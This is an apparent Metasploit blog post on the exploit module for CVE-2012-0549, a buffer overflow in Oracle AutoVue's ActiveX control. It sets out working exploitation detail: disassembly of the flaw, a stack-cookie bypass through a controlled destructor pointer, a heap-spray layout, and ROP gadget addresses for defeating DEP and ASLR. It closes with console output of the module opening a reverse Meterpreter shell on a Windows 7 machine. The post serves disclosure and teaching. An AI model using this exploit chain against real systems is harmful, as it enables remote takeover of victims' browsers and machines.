Last updated at Wed, 27 Sep 2017 02:09:11 GMT

In this blog post we would like to share some details about the Oracle AutoVue exploit for CVE-2012-0549 which we've recently added to the Metasploit Framework.  This module exploits a buffer overflow flaw, discovered by Brian Gorenc.

The problem arises when you call the SetMarkupMode function from the AutoVue control (clsid B6FCC215-D303-11D1-BC6C-0000C078797F) with a long sMarkup parameter. The buffer overflow, even when triggered through an API from the AutoVue control, happens in AvMarkupX (AVMRkpX.ocx), where Safe for Script and Safe for Init flags are set to false. The buffer overflow is due to the insecure usage of an strcpy-like function using the controlled sMarkup parameter as source, and a fixed length stack buffer as destination:

.text:100123C5                 mov     ecx, edi
.text:100123C7                 call    ds:mfc90_910    ; call mfc90!CProperty::GetID
.text:100123CD                 push    eax             ; controlled data through the sMarkup parameter from SetMarkupMode
.text:100123CE                 lea     eax, [esp+44Ch+vulnerable_buffer_var_414]
.text:100123D2                 push    eax
.text:100123D3                 call    PanStrcpy

The PanStrcpy function is exported by the panio.dll DLL, it's just an strcpy implementation where contents are copied from the area pointed by source to destination, until a null byte is found, without having lenghts into account:

int __stdcall PanStrcpy(int dst_arg_0, int src_arg_4)  
  int v2; // ecx@1  
  int result; // eax@1  
  char v4; // dl@5  
  v2 = src_arg_4;  
  result = dst_arg_0;  
  if ( src_arg_4 )  
    if ( dst_arg_0 )  
        v4 = *(_BYTE *)v2;  
        *(_BYTE *)(dst_arg_0 - src_arg_4 + v2) = *(_BYTE *)v2;  
      while ( v4 );  
  else if ( dst_arg_0 )  
    *(_BYTE *)dst_arg_0 = 0;  
  return result;  

Stack Cookies Bypass

While the vulnerability is straight-forward to understand, exploitation is a little more tricky because the vulnerable function is protected by stack cookie, checked before the ret:

.text:1001246A                 mov     ecx, [esp+438h+var_10]
.text:10012471                 xor     ecx, esp
.text:10012473                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:10012478                 add     esp, 438h
.text:1001247E                 retn    8

In a case like this, SEH overwrite could be a first standard solution for the exploit. But this time the overwritten data in the stack is used in an interesting way, between the overflow and the check of the stack cookie, that can be used to get control of EIP.

Just before the stack cookie check, a call to the mfc90!CMFCRestoredTabInfo::~CMFCRestoredTabInfo destructor succeeds:

.text:10012449                 lea     ecx, [esp+448h+arg_4]
.text:10012450                 call    ds:mfc90_601    ; call  mfc90!CMFCRestoredTabInfo::~CMFCRestoredTabInfo

Because of the overflow the "this" pointer (ecx) can be controlled when calling CMFCRestoredTabInfo::~CMFCRestoredTabInfo. So, we are going to check what happens to this function -- first of all a CStringData from the object is going to be released:

.text:786E63B6 ; void __thiscall ATL__CSimpleStringT_char_1____CSimpleStringT_char_1_(ATL::CStringT > > *this)
.text:786E63B6 this = ecx
.text:786E63B6                 mov     eax, [this]     ; mfc90_598
.text:786E63B6                                         ; mfc90_599
.text:786E63B6                                         ; mfc90_600
.text:786E63B8                 sub     eax, 10h
.text:786E63BB                 jmp     ?Release@CStringData@ATL@@QAEXXZ ; ATL::CStringData::Release(void)
.text:786E63BB ??1?$CSimpleStringT@D$00@ATL@@QAE@XZ endp

Since we control the this pointer, we can control the CStringData pointer to be released, so we can go forward and take a look at CStringData::Release. First part of the function seems to retrieve a (reference?) counter from the CStringData and decrement it:

.text:7862FBA4 ; void __thiscall ATL__CStringData__Release(ATL::CStringData *this)
.text:7862FBA4                                         ; CODE XREF: CRuntimeClass::CreateObject(wchar_t const *)+31 p
.text:7862FBA4                                         ; CRuntimeClass::FromName(wchar_t const *)+27 p ...
.text:7862FBA4 this = eax
.text:7862FBA4                 lea     ecx, [this+0Ch]
.text:7862FBA7                 or      edx, 0FFFFFFFFh
.text:7862FBAA                 lock xadd [ecx], edx
.text:7862FBAE                 dec     edx
.text:7862FBAF                 test    edx, edx
.text:7862FBB1                 jg      short locret_7862FBBB

After the decrement, if the counter is 0, the next block of code is reached which allows to control a dynamic call:

.text:7862FBB3                 mov     ecx, [this]
.text:7862FBB5                 mov     edx, [ecx]
.text:7862FBB7                 push    this
.text:7862FBB8                 call    dword ptr [edx+4]

Remember, we control the CMFCRestoredTabInfo pointer. Therefore if we make it point to a memory region where contents can be user-controlled (via heap spray as sample), so will the CStringData pointer and its reference counter, and finally the virtual function pointer.

In order to achieve exploitation in the easiest case (no DEP, no ASLR), the CMFCRestoredTabInfo pointer can be overwritten with the well known 0x0c0c0c0c and a specially crafted heap spray can be easily built in order to get the next layout:

Address Content Comment
0x0c0c0bfc 0c0c0c0c CStringData this pointer
0x0c0c0c08 1 CStringData reference counter
0x0c0c0c0c 0c0c0c0c CMFCRestoredTabInfo this pointer
0x0c0c0c10 0c0c0c0c CStringData virtual function pointer

In order to bypass DEP (and ASLR) the well known ROP chain from msvcr71.dll of Java 6 is used, in that case a little different layout is needed:

Address Content Comment
0x0c0c0bfc 0c0c0c0c CStringData this pointer
0x0c0c0c08 1 CStringData reference counter
0x0c0c0c0c 0c0c0c0c CMFCRestoredTabInfo this pointer
0x0c0c0c10 0x7c341ae4 (First Stack Pivot) CStringData virtual function pointer

Once the control is transfered to the first StackPivot, it fixes ESP to point to the controlled sMarkup data on the stack:

Address Gadget
0x7c341ae4 ADD ESP, 48 RETN

Where a second stack pivot is located to finally transfer code to the rop chain on the HEAP, after our specially crafted layout:

Address Gadget Purpose
0x7c3522ca ADD EAX,20 RETN EAX stores the CStringData pointer, where a specially crafted object has been placed get EIP control. Because of this an offset (0x20) is added, to point to clean controlled data. It's the reason to use a two stage stack pivoting.
0x7c348b05 XCHG EAX,ESP RETN Redirect ESP to the heap, where the ROP chain plus the shellcode have been placed via heap spray.

And then of course, we finish off the vulnerability with a shell:

msf > use exploit/windows/browser/oracle_autovue_setmarkupmode
msf  exploit(oracle_autovue_setmarkupmode) > show options

Module options (exploit/windows/browser/oracle_autovue_setmarkupmode):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   OBFUSCATE   false            no        Enable JavaScript obfuscation
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(oracle_autovue_setmarkupmode) > set OBFUSCATE true
msf  exploit(oracle_autovue_setmarkupmode) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 
[*] Using URL:
[*]  Local IP:
[*] Server started.
msf  exploit(oracle_autovue_setmarkupmode) > [*]    oracle_autovue_setmarkupmode - User-agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
[*]    oracle_autovue_setmarkupmode - Sending html
[*] Sending stage (752128 bytes) to
[*] Meterpreter session 1 opened ( -> at 2012-08-06 08:41:58 +0200
[*] Session ID 1 ( -> processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3156)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3816
[+] Successfully migrated to process 

msf  exploit(oracle_autovue_setmarkupmode) > sessions

Active sessions

  Id  Type                   Information                                     Connection
  --  ----                   -----------                                     ----------
  1   meterpreter x86/win32  WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7 -> (

msf  exploit(oracle_autovue_setmarkupmode) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.